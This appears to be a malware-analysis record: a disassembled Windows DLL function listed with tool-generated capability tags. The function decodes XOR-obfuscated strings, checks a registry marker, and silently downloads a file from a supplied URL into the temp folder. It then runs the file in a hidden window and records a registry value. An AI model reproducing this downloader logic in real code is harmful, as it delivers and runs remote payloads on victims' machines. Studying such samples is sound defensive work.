Function at 0x180001070
Capabilities:
Check for time delay via gettickcount
Check if file exists
Create process on windows
Download url
Encode data using xor
Get common file path
Move file
Query or enumerate registry value
Receive data
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rax - 0x8b8]
sub rsp, 0x9a0
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x870], rax
movups xmm0, xmmword [0x1800032f0]
movzx eax, word [0x180003320]
xor r14d, r14d
movups xmm1, xmmword [0x180003300]
mov edi, dword [0x180005050]
mov rsi, rcx
mov word [rbp - 0x60], ax
mov ecx, r14d
movups xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [0x180003310]
movups xmmword [rbp - 0x80], xmm1
movups xmmword [rbp - 0x70], xmm0
cmp edi, 2
jl 0x180001204
movdqa xmm5, xmmword [0x180003340]
lea rdx, [rsp + 0x70]
movdqa xmm4, xmmword [0x180003380]
movdqa xmm6, xmmword [0x180003360]
movdqa xmm7, xmmword [0x180003370]
nop dword [rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm5
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x18
jl 0x180001110
cmp ecx, 0x19
jge 0x180001244
movsxd rax, ecx
lea r8, [rsp + 0x70]
lea r8, [r8 + rax*2]
mov eax, 0xa0a0a0a1
lea r8, [r8 + 2]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul edx, eax, 0x33
add dx, cx
inc ecx
xor word [r8 - 2], dx
cmp ecx, 0x19
jl 0x180001210
movzx eax, word [0x180003250]
mov ecx, 0x45
movups xmm0, xmmword [str.vLPUBL_]
xor ax, 0x3b
mov word [rsp + 0x60], ax
mov rax, qword [str.jQF6__SB_YK_g_NM__21_0t:.K]
movups xmmword [rsp + 0x50], xmm0
xor word [rsp + 0x52], 0x34
xor word [rsp + 0x54], 0x35
xor word [rsp + 0x56], 0x36
xor word [rsp + 0x58], 0x37
xor word [rsp + 0x5a], 0x38
xor word [rsp + 0x5c], 0x39
xor word [rsp + 0x5e], 0x3a
cmp word [0x1800032ee], r14w
mov word [rsp + 0x50], cx
mov qword [rsp + 0x68], rax
je 0x180001379
cmp edi, 2
jl 0x18000132c
movdqa xmm3, xmmword [0x180003340]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x180003380]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x180003380]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x180003360]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x68]
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x180003370]
xorps xmm2, xmm0
movq qword [rsp + 0x68], xmm2
jmp 0x180001379
lea r9, [rsp + 0x68]
mov r8d, r14d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x33
add cx, r8w
inc r8d
xor word [r9 - 2], cx
cmp r8d, 4
jl 0x180001340
lea rax, [rbp - 0x58]
mov qword [rsp + 0x9c8], rbx
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rsp + 0x70]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x18000141c
mov rcx, qword [rbp - 0x58]
lea rax, [rbp - 0x38]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x50]
lea rax, [rbp + 0x460]
mov dword [rbp - 0x38], 0x200
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rbp - 0x58]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x18000141c
lea rax, [rbp + 0x460]
lea r8, [rsp + 0x68]
sub r8, rax
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x180001414
add rax, 2
test ecx, ecx
jne 0x180001400
test edx, edx
je 0x1800017c3
lea rdx, [rbp + 0x660]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
movsd xmm0, qword [0x180003268]
mov r8d, r14d
movzx eax, word [0x180003270]
movsd qword [rbp - 0x48], xmm0
mov word [rbp - 0x40], ax
movups xmm7, xmmword [0x180003258]
movups xmmword [rbp - 0x58], xmm7
cmp edi, 2
jl 0x18000154c
movdqa xmm2, xmmword [0x180003340]
mov r8d, 8
movdqa xmm4, xmmword [0x180003380]
movdqa xmm1, xmm2
movdqa xmm6, xmmword [0x180003370]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180003360]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm6
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm1, xmm7
paddw xmm3, xmm2
movdqa xmm2, xmmword [0x180003350]
xorps xmm3, xmm1
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movq qword [rbp - 0x58], xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180003360]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm6
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp - 0x50]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rbp - 0x50], xmm3
movsxd rax, r8d
lea r9, [rbp - 0x58]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x33
add cx, r8w
inc r8d
xor word [r9 - 2], cx
cmp r8d, 0xd
jl 0x180001560
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea r9, [rbp + 0x660]
mov edx, 0x104
lea r8, [rbp - 0x58]
mov dword [rsp + 0x20], eax
lea rcx, [rbp + 0x40]
call fcn.180001010
mov edx, 0x2e
mov rcx, rsi
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
movsd xmm0, qword [0x180003328]
test rax, rax
movsd qword [rbp - 0x58], xmm0
lea rcx, [rax + 2]
mov eax, dword [0x180003330]
cmove rcx, r14
mov dword [rbp - 0x50], eax
cmp word [0x180003332], r14w
je 0x180001617
xor word [rbp - 0x56], 0x34
mov eax, 0x25
xor word [rbp - 0x54], 0x35
xor word [rbp - 0x52], 0x36
xor word [rbp - 0x50], 0x37
xor word [rbp - 0x4e], 0x38
mov word [rbp - 0x58], ax
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x40]
lea rcx, [rbp + 0x250]
mov edx, 0x104
lea r8, [rbp - 0x58]
call fcn.180001010
xor r9d, r9d
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x40]
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x1800017c3
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rbp + 0x40]
mov ebx, eax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x180001698
nop word [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0x7530
jae 0x180001698
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x40]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x180001670
lea rcx, [rbp + 0x40]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x1800017c3
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
xorps xmm0, xmm0
mov dword [rbp - 0x30], 0x68
lea rax, [rbp - 0x58]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x250]
lea rax, [rbp - 0x30]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r14d
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 8], xmm0
movups xmmword [rbp + 8], xmm0
movups xmmword [rbp + 0x18], xmm0
movups xmmword [rbp + 0x28], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x180001733
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x40], r14
lea rax, [rbp - 0x58]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea rcx, [rsp + 0x68]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
cmp word [rcx + rax*2 + 2], r14w
lea rax, [rax + 1]
jne 0x180001780
mov rcx, qword [rbp - 0x58]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rdx, [rsp + 0x50]
lea rax, [rsp + 0x68]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x9c8]
mov rcx, qword [rbp + 0x870]
xor rcx, rsp
call fcn.180001a80
lea r11, [rsp + 0x9a0]
mov rsi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret